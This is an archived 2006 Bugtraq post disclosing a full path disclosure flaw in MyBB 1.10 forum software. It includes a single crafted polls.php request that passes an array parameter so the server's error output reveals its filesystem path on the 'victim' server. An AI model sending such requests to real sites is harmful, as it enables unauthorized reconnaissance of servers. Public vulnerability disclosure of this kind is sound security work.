MyBB 1.10 Full Path Disclosure

To: bugtraq@xxxxxxxxxxxxxxxxx
Subject: MyBB 1.10 Full Path Disclosure
From: o.y.6@xxxxxxxxxxx
Date: 17 Mar 2006 08:47:08 -0000
List-help: <mailto:bugtraq-help@securityfocus.com>
List-id: <bugtraq.list-id.securityfocus.com>
List-post: <mailto:bugtraq@securityfocus.com>
List-subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
List-unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
Mailing-list: contact bugtraq-help@xxxxxxxxxxxxxxxxx; run by ezmlm

D3vil-0x1 | Devil-00

New MyBB bug that will giv you the ' Full Path Disclosure ' at vic. server

MyBB 1.10 .. New Bugs

1- Full Path Disclosure

 => mybb/polls.php?action=vote&pid=[PID]&option[]=null
        - Where PID Poll ID

Prev by Date: Microsoft Commerce Server 2002: Logon as known user with a false password
Next by Date: Contrexx CMS Xss Vuln
Previous by thread: Microsoft Commerce Server 2002: Logon as known user with a false password
Next by thread: Contrexx CMS Xss Vuln
Index(es):
- Date
- Thread